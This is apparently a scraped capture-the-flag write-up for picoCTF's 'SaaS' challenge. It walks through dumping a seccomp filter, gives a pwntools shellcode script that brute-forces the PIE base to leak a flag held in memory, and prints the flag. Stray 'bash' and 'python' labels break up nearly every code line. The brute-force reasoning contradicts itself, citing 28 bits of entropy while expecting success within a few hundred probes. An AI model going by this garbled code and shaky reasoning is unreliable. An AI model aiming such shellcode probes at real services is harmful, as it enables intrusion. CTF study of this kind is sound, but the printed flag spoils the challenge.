Description
Shellcode as a Service.
Setup
Connect to the challenge server with netcat.
Download the binary to analyze the seccomp filter locally.
nc <challenge_host> <PORT_FROM_INSTANCE>wget <challenge_url>/saas # binary for local analysisSolution
Walk me through it- Step 1Analyze the seccomp filter with seccomp-toolsInstall seccomp-tools and dump the BPF filter from the binary. This reveals exactly which syscalls are allowed, which are blocked, and what action is taken on a violation (KILL, TRAP, or ERRNO).bash
gem install seccomp-toolsbashseccomp-tools dump ./saasbash# Or disassemble the filter from binary directly:bashseccomp-tools disasm <filter_bytes>Learn more
seccomp (Secure Computing Mode) is a Linux kernel mechanism that restricts which syscalls a process can make. In filter mode, the process installs a BPF (Berkeley Packet Filter) program that the kernel runs against every syscall. The BPF program can allow, deny, or kill the process based on the syscall number and arguments.
seccomp-tools disassembles these BPF programs into human-readable output like
A = sys_number; if A == write: ALLOW; else: KILL. This is essential before writing shellcode - you need to know which syscalls are permitted. For this challenge the filter is unusually tight: onlywriteto fd 1,exit, andexit_groupare allowed.open,read, andexecveare all killed. - Step 2Write write-only memory-scanner shellcodeBecause open and read are both blocked, ORW shellcode is killed the moment it hits the open syscall. The correct approach exploits the fact that load_flag() pre-loads the flag into a 64-byte global buffer before setup() installs the seccomp filter. Your shellcode never needs to touch the filesystem: write a loop that calls sys_write(1, candidate_addr, 64) for increasing candidate addresses. When the address lands in the mapped data segment the write succeeds and you see the flag scroll past. Since PIE randomizes the base, brute-force the high-order address byte starting from a plausible range (e.g. 0x5500_0000_2060) and step by 0x10_0000 each iteration.bash
# exploit.pypythonfrom pwn import *bashcontext.arch = 'amd64'bashpythondef make_shellcode(addr):bashreturn asm(f'''bash/* write(1, {addr:#x}, 64) */bashmov rsi, {addr:#x}bashmov edi, 1bashmov edx, 64bashmov eax, 1bashsyscallbash/* exit(0) */bashxor edi, edibashmov eax, 60bashsyscallbash''')bashbashbase = 0x550000000000bashflag_offset = 0x2060 # typical PIE .bss offset for flag globalbashstep = 0x100000bashfor i in range(0x100):bashcandidate = (base + i * step) | flag_offsetbashp = remote('<host>', <PORT_FROM_INSTANCE>)bashsc = make_shellcode(candidate)bashp.send(sc)bashtry:bashdata = p.recvall(timeout=1)bashif b'picoCTF' in data:pythonprint(data)bashbreakbashexcept:bashpassbashp.close()Learn more
The binary calls
load_flag()to read/flaginto achar flag[64]global, then callssetup()which installs the seccomp BPF filter and only then mmap-executes your shellcode. By the time your code runs, the flag bytes are already live in the process image - no file I/O is needed or possible.Why ORW fails here: the seccomp filter's action on
open(syscall 2) andread(syscall 0) isKILL. The kernel terminates the process at the first disallowed syscall, so a classic open-read-write chain never reaches the read step.Why the write loop works:
writeto fd 1 andexit/exit_groupare the only allowed syscalls. Writing to an unmapped address raisesSIGSEGV(the process crashes), but writing to a valid mapped address succeeds and the bytes come back over the socket. You iterate candidate addresses until one returns data containingpicoCTF.PIE randomizes the base address but the entropy is limited (typically 28 bits on 64-bit Linux with ASLR level 2). The flag global sits at a fixed offset from the PIE base (visible in
objdump -t saas | grep flag), so you only need to brute-force the base itself. - Step 3Run the exploit and capture the flagRun the exploit script. Each iteration probes a different candidate base address with a single sys_write call. When the candidate falls inside the binary's mapped data segment, the flag bytes are written back to stdout and you capture them.python
python3 exploit.pybash# When the correct address is hit, output resembles:bash# picoCTF{f0ll0w_th3_m4p_t0_g3t_th3_fl4g}\x00\x00...Learn more
The challenge name SaaS (Shellcode as a Service) mirrors cloud service acronyms (SaaS, PaaS, IaaS). The server is literally a shellcode execution service - it reads bytes, maps them
RWX, and jumps to them. The seccomp filter is the only defense.Because each probe attempt crashes or closes the connection, you need a fresh TCP connection per iteration. pwntools'
remote()handles reconnection cleanly. Expect to iterate up to a few hundred times before the address space aligns; in practice the flag usually appears within the first 50 to 100 attempts.
Flag
picoCTF{f0ll0w_th3_m4p_t0_g3t_th3_fl4g}
The seccomp filter allows only write(fd=1) and exit - open and read are blocked. The flag is pre-loaded into a global buffer before seccomp is installed, so the real exploit is a write-only memory scanner that brute-forces the PIE base address and calls sys_write(1, flag_addr, 64) until it hits the correct mapping.